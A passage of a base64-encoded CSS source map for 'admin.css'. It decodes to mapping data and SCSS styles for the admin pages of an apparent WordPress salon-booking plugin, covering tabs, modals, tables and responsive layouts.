QUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQXdCQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFxQkE7RUFDRTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBOzs7QUFHRjtFQUNFOzs7QUF5QkY7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFzQkE7QUFBQTtFQU1FO0VBQ0E7OztBQUdGO0VBQ0U7RUFDQTtFQUNBO0VBQ0E7OztBQUdGO0VBQ0U7RUFDQTs7O0FBR0Y7QUFBQTtFQUVFOzs7QUFHRjtFQUNFOzs7QUFHRjtFQUNFOzs7QUFHRjtBQUFBO0VBVUU7OztBQUdGO0VBQ0U7OztBQUdGO0FBQUE7RUFFRTs7O0FBR0Y7RUFDRTs7O0FBT0Y7RUFDRTs7O0FBb0JGO0VBQ0U7OztBQWdDRjtFQUNFO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBOzs7QUFHRjtFQUNFO0VBQ0E7RUFDQTtFQUNBOzs7QUFHRjtFQUNFO0VBQ0E7RUFDQTs7O0FBR0Y7QUFDRTtBQUFBO0FBQUE7QUFBQTtFQUlBOzs7QUFHRjtFQUNFOzs7QUFHRjtFQUNFOzs7QUFHRjtBQUFBO0FBQUE7RUFHRTs7O0FBR0Y7RUFDRTs7O0FBR0Y7QUFDRTtBQUFBO0FBQUE7QUFBQTtFQUlBOzs7QUFHRjtFQUNFOzs7QUFHRjtFQUtFOzs7QUFHRjtFQUtFO0VBQ0E7OztBQUdGO0VBQ0U7RUFDQTs7O0FBRUY7RUFDRTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBOzs7QUFFRjtFQUNFO0VBQ0E7RUFDQTs7O0FBR0Y7RUFDRTs7O0FBR0Y7RUFDRTtFQUNBOzs7QUFFRjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFZQTtFQUNFO0VBQ0E7OztBQUdGO0VBQ0U7SUFDRTtJQUNBO0lBQ0E7SUFDQTs7RUFFRjtJQUNFO0lBQ0E7SUFDQTtJQUNBOztFQUVGO0lBQ0U7SUFDQTtJQUNBO0lBQ0E7OztBQUlKO0VBQ0U7OztBQU9GO0VBR0U7RUFDQTtFQUNBOzs7QUFHRjtFQUlFOzs7QUFFRjtBQUFBO0VBS0U7RUFDQTs7O0FBRUY7QUFBQTtFQVNFO0VBQ0E7OztBQUdGO0FBQ0E7RUFDRTtFQUNBO0VBQ0E7RUFDQTs7O0FBSUE7QUFBQTtBQUFBO0FBQUE7RUFnQkU7OztBQWVKO0FBRUU7RUFDRTtFQUNBO0VBQ0E7O0FBQ0E7RUFDRTs7QUFFRjtFQUNFOztBQUVGO0VBRUU7RUFDQTtFQUNBOztBQUdBO0VBQ0U7RUFDQTtFQUNBO0VBQ0E7OztBQUtSO0VBQ0U7OztBQUVGO0VBQ0U7RUFDQTs7O0FBR0Y7RUFDRTs7O0FBR0Y7RUFDRTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTs7O0FBR0Y7RUFDRTs7O0FBR0Y7RUFDRTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTs7O0FBR0Y7RUFDRTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTs7O0FBR0Y7RUFDRTs7O0FBR0Y7RUFDRTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7OztBQUtBO0VBQ0U7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBOztBQUVBO0VBQ0U7O0FBR0Y7RUFDRTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBQ0E7RUFDQTtFQUNBO0VBRUE7OztBQVVKO0FBQUE7QUFBQTtFQUdFO0VBQ0E7RUFDQTtFQUNBOzs7QUFLSjtFQUNFIiwiZmlsZSI6ImFkbWluLmNzcyIsInNvdXJjZXNDb250ZW50IjpbIi8qQGltcG9ydCAnc2V0dGluZ3MtbWl4aW5zJztcbi8vQGltcG9ydCAnYm9vdHN0cmFwJztcbkBpbXBvcnQgJ2FkbWluX2NvbmZpZyc7XG4jc2xuLXNhbG9uLS1hZG1pbiwgLnNsbi1jYWxlbmRhci0td3JhcHBlciAge1xuICAgIEBpbXBvcnQgJ3R5cG8nO1xuICAgIEBpbXBvcnQgJ2FkbWluX2NvbXBvbmVudHMvaW5wdXRzJztcbiAgICBAaW1wb3J0ICdhZG1pbl9jb21wb25lbnRzL2J1dHRvbnMnO1xuICAgIEBpbXBvcnQgJ2FkbWluX2NvbXBvbmVudHMvYm94ZXMnO1xuICAgIEBpbXBvcnQgJ2FkbWluX2NvbXBvbmVudHMvcGFuZWxzJztcbiAgICBAaW1wb3J0ICdhZG1pbl9jb21wb25lbnRzL3Nob3AtZGV0YWlscyc7XG4gICAgQGltcG9ydCAnYWRtaW5fY29tcG9uZW50cy9zZXJ2aWNlLWRldGFpbHMnO1xufVxuKi9cblxuQHVzZSAnc2Fzczpjb2xvcic7XG5AdXNlICdzYXNzOm1ldGEnO1xuQHVzZSAnc2V0dGluZ3MtbWl4aW5zJztcbkB1c2UgJ2FkbWluX2NvbmZpZyc7XG5AdXNlICd0eXBvLWFkbWluJztcbkB1c2UgJ2NvbG9ycyc7XG5AdXNlICdjb2xvcnMtbnUnO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9pbnB1dHMnO1xuLy8gI3Nsbi1zYWxvbi0tYWRtaW4sXG4vLyAuc2xuLWNhbGVuZGFyLS13cmFwcGVyIHtcbi8vIFx0Ly86bWF0Y2hlcygjc2xuLXNhbG9uLS1hZG1pbiwgLnNsbi1jYWxlbmRhci0td3JhcHBlcikge1xuLy8gXHQvL0BpbXBvcnQgJ2Jvb3RzdHJhcCc7XG4vLyB9XG5cbi8vIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoXCJhZG1pbl9jb21wb25lbnRzL2RhdGVwaWNrZXJfYWRtaW5cIik7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL2RhdGVwaWNrZXJfYWRtaW4nO1xuLy9AaW1wb3J0ICdhZG1pbl9jb21wb25lbnRzL2RhdGVwaWNrZXInO1xuLy8gI3Nsbi1zYWxvbi0tYWRtaW4sXG4vLyAuc2xuLWNhbGVuZGFyLS13cmFwcGVyIHtcbi8vIH1cbi8vQGluY2x1ZGUgbWV0YS5sb2FkLWNzcyhcImFkbWluX2NvbXBvbmVudHMvaW5wdXRzXCIpO1xuLy8gQGluY2x1ZGUgbWV0YS5sb2FkLWNzcyhcImFkbWluX2NvbXBvbmVudHMvcHJvZ3Jlc3NiYXJcIik7XG4vLyBAaW5jbHVkZSBtZXRhLmxvYWQtY3NzKFwiYWRtaW5fY29tcG9uZW50cy9idXR0b25zXCIpO1xuLy8gQGluY2x1ZGUgbWV0YS5sb2FkLWNzcyhcImFkbWluX2NvbXBvbmVudHMvYWxlcnQtbWVzc2FnZXNcIik7XG4vLyBAaW5jbHVkZSBtZXRhLmxvYWQtY3NzKFwiYWRtaW5fY29tcG9uZW50cy9ib3hlc1wiKTtcbi8vIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoXCJhZG1pbl9jb21wb25lbnRzL3BhbmVsc1wiKTtcbi8vIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoXCJhZG1pbl9jb21wb25lbnRzL3Nob3AtZGV0YWlsc1wiKTtcbi8vIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoXCJhZG1pbl9jb21wb25lbnRzL3NlcnZpY2UtZGV0YWlsc1wiKTtcbi8vIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoXCJhZG1pbl9jb21wb25lbnRzL3NpZGViYXJfYmFubmVyXCIpO1xuLy8gQGluY2x1ZGUgbWV0YS5sb2FkLWNzcyhcImFkbWluX2NvbXBvbmVudHMvZmllbGRzLWVkaXRvclwiKTtcbi8vIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoXCJhZG1pbl9jb21wb25lbnRzL3NldHRpbmdzX2lucGFnZV9uYXZcIik7XG4vLyBAaW5jbHVkZSBtZXRhLmxvYWQtY3NzKFwiYWRtaW5fY29tcG9uZW50cy9ib29raW5nLWRldGFpbHNcIik7XG4vLyBAaW5jbHVkZSBtZXRhLmxvYWQtY3NzKFwiYWRtaW5fY29tcG9uZW50cy9hdHRlbmRhbnRzXCIpO1xuLy8gQGluY2x1ZGUgbWV0YS5sb2FkLWNzcyhcImFkbWluX2NvbXBvbmVudHMvcGx1Z2luX3N0YXR1c2JhclwiKTtcbi8vIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoXCJhZG1pbl9jb21wb25lbnRzL3Byb2ZlYXR1cmUtdG9vbHRpcFwiKTtcbi8vIEBpbmNsdWRlIG1ldGEubG9hZC1jc3MoXCJhZG1pbl9jb21wb25lbnRzL3BhZ2VzXCIpO1xuLy8gQGluY2x1ZGUgbWV0YS5sb2FkLWNzcyhcImFkbWluX2NvbXBvbmVudHMvdG9vbHNcIik7XG4vLyBAaW5jbHVkZSBtZXRhLmxvYWQtY3NzKFwiYWRtaW5fY29tcG9uZW50cy9wYWdlbG9hZGluZ1wiKTtcblxuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9wcm9ncmVzc2Jhcic7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL2J1dHRvbnMnO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9hbGVydC1tZXNzYWdlcyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL2JveGVzJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvcGFuZWxzJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvc2hvcC1kZXRhaWxzJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvc2VydmljZS1kZXRhaWxzJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvc2lkZWJhcl9iYW5uZXInO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9maWVsZHMtZWRpdG9yJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvc2V0dGluZ3NfaW5wYWdlX25hdic7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL2Jvb2tpbmctZGV0YWlscyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL2Jvb2tpbmctbm9zaG93JztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvYXR0ZW5kYW50cyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL3BsdWdpbl9zdGF0dXNiYXInO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy9wcm9mZWF0dXJlLXRvb2x0aXAnO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy90b29sdGlwX2RheSc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL2FkbWluX2NhbGVuZGFyJztcbkB1c2UgJ2FkbWluX2NvbXBvbmVudHMvcGFnZXMnO1xuQHVzZSAnYWRtaW5fY29tcG9uZW50cy90b29scyc7XG5AdXNlICdhZG1pbl9jb21wb25lbnRzL3BhZ2Vsb2FkaW5nJztcbi8vQGltcG9ydCBcImFkbWluX2NvbXBvbmVudHMvYWRtaW4tLWdvb2dsZS1pY29uXCI7XG4uc2xuX21ldGFfZmllbGQge1xuICBkaXNwbGF5OiBibG9jaztcbn1cblxuLnNsbi1kYXRlIHNlbGVjdCB7XG4gIHdpZHRoOiBhdXRvO1xufVxuXG4uc2xuLWNsZWFyIHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIGNsZWFyOiBib3RoO1xuICBoZWlnaHQ6IDFweDtcbiAgd2lkdGg6IDEwMCU7XG59XG5cbiNzbG4tYXZhaWxhYmlsaXRpZXMgZGl2Lml0ZW0ge1xuICBib3JkZXI6IDFweCBzb2xpZCAjZGZkZmRmO1xuICBwYWRkaW5nOiAxMHB4O1xuICBtYXJnaW46IDJweDtcbn1cblxuLnNsbi10YWIge1xuICBib3JkZXItdG9wLXdpZHRoOiAwO1xuICBiYWNrZ3JvdW5kOiAjZjFmMWYxO1xuICBwYWRkaW5nOiAzMHB4O1xuICAuZm9ybS1ncm91cCBsYWJlbCBpbnB1dCB7XG4gICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgIG1hcmdpbi10b3A6IC0zcHg7XG4gIH1cbn1cbiNzbG4tc2Fsb24tLWFkbWluLnNsbi1zYWxvbi0tc2V0dGluZ3MtLWZyZWUge1xuICAuc2xuLXRhYiB7XG4gICAgcGFkZGluZy1ib3R0b206IDMwdmg7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgICAgcGFkZGluZy1ib3R0b206IDI1dmg7XG4gICAgfVxuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgICBwYWRkaW5nLWJvdHRvbTogMjV2aDtcbiAgICB9XG4gIH1cbn1cbmJvZHkuc2xuLW5vc2Nyb2xsIHtcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgLnNsbi10YWIgLnNsbi10YWJfX2N1cnRhaW4ge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICB0b3A6IDA7XG4gICAgcmlnaHQ6IDA7XG4gICAgYm90dG9tOiAwO1xuICAgIGxlZnQ6IDA7XG4gICAgb3BhY2l0eTogMC44O1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1iZy0tbGlnaHRlcjtcbiAgICBAZXh0ZW5kICV6aS1ncmFmaWNhO1xuICB9XG59XG5cbi5zbG4tc2VwYXJhdG9yIHtcbiAgaGVpZ2h0OiAxcHg7XG4gIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZGRkO1xuICBtYXJnaW46IDJlbSBhdXRvO1xuICB3aWR0aDogMTAwJTtcbiAgY2xlYXI6IGJvdGg7XG59XG5cbi8vIE1vZGFsIGJhY2tncm91bmRcbi5tb2RhbC1iYWNrZHJvcCB7XG4gIHBvc2l0aW9uOiBmaXhlZDtcbiAgdG9wOiAwO1xuICByaWdodDogMDtcbiAgYm90dG9tOiAwO1xuICBsZWZ0OiAwO1xuICB6LWluZGV4OiAxMDQwO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwO1xuICAvLyBGYWRlIGZvciBiYWNrZHJvcFxuICAmLmZhZGUge1xuICAgIG9wYWNpdHk6IDA7XG4gICAgZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO1xuICB9XG4gICYuaW4ge1xuICAgIG9wYWNpdHk6IDAuNTtcbiAgICBmaWx0ZXI6IGFscGhhKG9wYWNpdHk9NTApO1xuICB9XG59XG5cbiNpbXBvcnQtbWF0Y2hpbmctbW9kYWwge1xuICBsZWZ0OiAxNjBweCAhaW1wb3J0YW50O1xuICAubW9kYWwtZGlhbG9nIHtcbiAgICB3aWR0aDogNzAlICFpbXBvcnRhbnQ7XG4gIH1cbn1cblxuLnNsbi1pbXBvcnQtdGFibGUge1xuICBkaXNwbGF5OiBibG9jaztcbiAgb3ZlcmZsb3cteDogYXV0bztcbiAgdGQge1xuICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjMjA1MDY5ICFpbXBvcnRhbnQ7XG4gICAgYm9yZGVyLWxlZnQ6IG5vbmU7XG4gICAgYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgIzIwNTA2OSAhaW1wb3J0YW50O1xuICAgIGJvcmRlci1ib3R0b206IG5vbmUgIWltcG9ydGFudDtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgLmhhbGYtb3BhY2l0eSB7XG4gICAgICBvcGFjaXR5OiAwLjUgIWltcG9ydGFudDtcbiAgICB9XG4gICAgLnNsbi1zZWxlY3Qge1xuICAgICAgdGV4dC1hbGlnbjogbGVmdCAhaW1wb3J0YW50O1xuICAgICAgd2lkdGg6IDIwMHB4ICFpbXBvcnRhbnQ7XG4gICAgfVxuICAgICY6Zmlyc3QtY2hpbGQge1xuICAgICAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjMjA1MDY5ICFpbXBvcnRhbnQ7XG4gICAgfVxuICB9XG4gIHRoIHtcbiAgICBib3JkZXItdG9wOiBub25lICFpbXBvcnRhbnQ7XG4gICAgYm9yZGVyLWxlZnQ6IG5vbmU7XG4gICAgYm9yZGVyLXJpZ2h0OiAxcHggc29saWQgIzIwNTA2OSAhaW1wb3J0YW50O1xuICAgIGJvcmRlci1ib3R0b206IG5vbmUgIWltcG9ydGFudDtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXIgIWltcG9ydGFudDtcbiAgICAmOmZpcnN0LWNoaWxkIHtcbiAgICAgIGJvcmRlci1sZWZ0OiAxcHggc29saWQgIzIwNTA2OSAhaW1wb3J0YW50O1xuICAgIH1cbiAgfVxufVxuXG4uc2xuLWltcG9ydC1sb2FkZXIge1xuICAtd2Via2l0LWFuaW1hdGlvbjogZ2x5cGhpY29uLXNwaW4tciAxcyBpbmZpbml0ZSBsaW5lYXI7XG4gIGFuaW1hdGlvbjogZ2x5cGhpY29uLXNwaW4tciAxcyBpbmZpbml0ZSBsaW5lYXI7XG59XG5ALXdlYmtpdC1rZXlmcmFtZXMgZ2x5cGhpY29uLXNwaW4tciB7XG4gIDAlIHtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuICB9XG4gIDEwMCUge1xuICAgIC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMzU5ZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgzNTlkZWcpO1xuICB9XG59XG5Aa2V5ZnJhbWVzIGdseXBoaWNvbi1zcGluLXIge1xuICAwJSB7XG4gICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcbiAgfVxuICAxMDAlIHtcbiAgICAtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM1OWRlZyk7XG4gICAgdHJhbnNmb3JtOiByb3RhdGUoMzU5ZGVnKTtcbiAgfVxufVxuXG4vL1xuLnNsbi10YWIge1xuICAjc2xuLWF2YWlsYWJpbGl0aWVzIC5pdGVtcyAuaXRlbSB7XG4gICAgcGFkZGluZzogMS40ZW07XG4gICAgbWFyZ2luOiAxZW0gMDtcbiAgICAuY29sLW1kLTEyIHtcbiAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChwaG9uZSkge1xuICAgICAgICBwYWRkaW5nLXJpZ2h0OiAwO1xuICAgICAgfVxuICAgIH1cbiAgICAuZmlyc3Qtcm93IHtcbiAgICAgIG1hcmdpbi1ib3R0b206IDEuNGVtO1xuICAgICAgLmZvcm0tZ3JvdXAge1xuICAgICAgICBwYWRkaW5nLXJpZ2h0OiAyZW07XG4gICAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW07XG4gICAgICAgIH1cbiAgICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHBob25lKSB7XG4gICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgICAgd2lkdGg6IDUwJTtcbiAgICAgICAgICBmbG9hdDogbGVmdDtcbiAgICAgICAgICBtYXJnaW46IDAgMCAyZW0gMGVtO1xuICAgICAgICAgICY6bGFzdC1jaGlsZCB7XG4gICAgICAgICAgICBmbG9hdDogbm9uZTtcbiAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICAuc2V0dGluZy1pbnRlcnZhbCB7XG4gICAgbWFyZ2luLXRvcDogMS40ZW07XG4gIH1cbiAgaW5wdXRbdHlwZT0ncmFkaW8nXSxcbiAgaW5wdXRbdHlwZT0nY2hlY2tib3gnXSB7XG4gICAgbWFyZ2luOiAwIDAuNWVtO1xuICB9XG5cbiAgLnNldHRpbmdzLWFsbG93ZWQge1xuICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQtcG9ydCkge1xuICAgICAgLmNvbC1tZC01Om50aC1jaGlsZCgxKSB7XG4gICAgICAgIG1hcmdpbi1ib3R0b206IDEuNGVtO1xuICAgICAgfVxuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAocGhvbmUpIHtcbiAgICAgIC5jb2wtbWQtNTpudGgtY2hpbGQoMSkge1xuICAgICAgICBtYXJnaW4tYm90dG9tOiAxLjRlbTtcbiAgICAgIH1cbiAgICAgIHNlbGVjdCB7XG4gICAgICAgIG1hcmdpbjogMC4yZW0gMDtcbiAgICAgIH1cbiAgICB9XG4gIH1cblxuICAuc2V0dGluZ3MtZGlzYWJsZSxcbiAgLnNldHRpbmdzLWNvbmZpcm1hdGlvbiB7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldC1wb3J0KSB7XG4gICAgICAuY29sLW1kLTY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMS40ZW07XG4gICAgICB9XG4gICAgfVxuICB9XG59XG5cbi5zYWxvbl9wYWdlX3NhbG9uLXNldHRpbmdzLndwLWNvcmUtdWkgLmJ1dHRvbi1wcmltYXJ5IHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIGJhY2tncm91bmQ6IHNldHRpbmdzLW1peGlucy4kY2EtYmx1ZTtcbiAgYm9yZGVyLWNvbG9yOiBzZXR0aW5ncy1taXhpbnMuJGNhLWJsdWU7XG5cbiAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICBtYXJnaW4tYm90dG9tOiAwO1xuICBmb250LXdlaWdodDogbm9ybWFsO1xuICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgYm9yZGVyOiAxcHggc29saWQgdHJhbnNwYXJlbnQ7XG4gIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gIHBhZGRpbmc6IDAuNmVtIDIuNmVtO1xuICBmb250LXNpemU6IDE0cHg7XG4gIGxpbmUtaGVpZ2h0OiAxLjQyODU3MTQyOTtcbiAgYm9yZGVyLXJhZGl1czogNHB4O1xuICAtd2Via2l0LXVzZXItc2VsZWN0OiBub25lO1xuICAtbW96LXVzZXItc2VsZWN0OiBub25lO1xuICAtbXMtdXNlci1zZWxlY3Q6IG5vbmU7XG4gIHVzZXItc2VsZWN0OiBub25lO1xuXG4gIGJveC1zaGFkb3c6IG5vbmU7XG4gIGhlaWdodDogYXV0bztcblxuICAmOmhvdmVyIHtcbiAgICBiYWNrZ3JvdW5kOiAjMzA3MWE5O1xuICAgIGJvcmRlci1jb2xvcjogIzI4NWU4ZTtcbiAgfVxufVxuLnNhbG9uX3BhZ2Vfc2Fsb24tc2V0dGluZ3Mud3AtY29yZS11aSAuc2xuLXRhYiAuYnV0dG9uLXByaW1hcnkge1xuICBtYXJnaW46IDAgMCAwIC0xZW07XG59XG4udWktc29ydGFibGUgLnR5cGUtc2xuX3NlcnZpY2UudWktc29ydGFibGUtaGFuZGxlLFxuLnVpLXNvcnRhYmxlIC50eXBlLXNsbl9hdHRlbmRhbnQudWktc29ydGFibGUtaGFuZGxlLFxuLnRheG9ub215LXNsbl9zZXJ2aWNlX2NhdGVnb3J5IC51aS1zb3J0YWJsZSAudWktc29ydGFibGUtaGFuZGxlIHtcbiAgY3Vyc29yOiBtb3ZlO1xufVxuLy8gVEFCU1xuLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyLFxuaDIuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIge1xuICBpbWcge1xuICAgIG1hcmdpbi1yaWdodDogMTBweDtcbiAgfVxuICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDU2N3B4KSB7XG4gICAgLy8gVEFCUyBTVSBTTUFSVFBIT05FIElOIFBPUlQuXG4gICAgcGFkZGluZy1yaWdodDogMDtcbiAgICBwYWRkaW5nLWxlZnQ6IDA7XG4gICAgcGFkZGluZy10b3A6IDEwcHg7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIGltZyB7XG4gICAgICBtYXJnaW4tYm90dG9tOiAxMHB4O1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgcmlnaHQ6IDA7XG4gICAgICB0b3A6IC0yNXB4O1xuICAgIH1cbiAgICAubmF2LXRhYiB7XG4gICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgIG1hcmdpbi1yaWdodDogMDtcbiAgICAgIGZvbnQtc2l6ZTogMTJweDtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxMnB4O1xuICAgICAgcGFkZGluZzogMTBweDtcbiAgICAgIHdpZHRoOiA0OCU7XG4gICAgICBtYXJnaW46IDElO1xuICAgIH1cbiAgICAvLyBUQUJTIFNVIFNNQVJUUEhPTkUgSU4gUE9SVC4gRU5EXG4gIH1cblxuICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDU2OHB4KSBhbmQgKG1heC13aWR0aDogNzY3cHgpIHtcbiAgICAvLyBUQUJTIFNVIFNNQVJUUEhPTkUgSU4gTEFORC5cbiAgICBwYWRkaW5nLXJpZ2h0OiAwO1xuICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICBwYWRkaW5nLXRvcDogMTBweDtcbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgaW1nIHtcbiAgICAgIG1hcmdpbi1ib3R0b206IDA7XG4gICAgfVxuICAgIC5uYXYtdGFiIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIG1hcmdpbi1yaWdodDogMDtcbiAgICAgIGZvbnQtc2l6ZTogMTJweDtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxMnB4O1xuICAgICAgcGFkZGluZzogMTBweDtcbiAgICAgIHdpZHRoOiAyMCU7XG4gICAgICBtYXJnaW46IDAuMiU7XG4gICAgfVxuICAgIC8vIFRBQlMgU1UgU01BUlRQSE9ORSBJTiBMQU5ELiBFTkRcbiAgfVxufVxuLnNsbi1zYWxvbi0tc2V0dGluZ3MgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyLFxuLnNsbi1zYWxvbi0tc2V0dGluZ3MgaDIuc2xuLW5hdi10YWItd3JhcHBlci5uYXYtdGFiLXdyYXBwZXIge1xuICBkaXNwbGF5OiBmbGV4O1xuICBmbGV4OiAxIDAgYXV0bztcbiAgZmxleC13cmFwOiB3cmFwO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMudHJhbnNpdGlvbih0b3AgMTUwbXMpO1xuICAubmF2LXRhYiB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBmbGV4OiAxIDAgYXV0bztcbiAgICBoZWlnaHQ6IDQ0cHg7XG4gICAgbGluZS1oZWlnaHQ6IDQ0cHg7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIG1hcmdpbjogMDtcbiAgICBwYWRkaW5nOiAwIDEycHg7XG4gICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgbWluLXdpZHRoOiAwO1xuICAgIHdpZHRoOiBhdXRvO1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgJjo6YmVmb3JlIHtcbiAgICAgIGNvbnRlbnQ6ICdcXGYwMTMnO1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgLy9wb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAvL3RvcDogMDtcbiAgICAgIC8vbGVmdDogOXB4O1xuICAgICAgLy9ib3R0b206IDA7XG4gICAgICAvL3RleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIHBhZGRpbmctcmlnaHQ6IDAuNzVlbTtcbiAgICAgIEBleHRlbmQgJWZvbn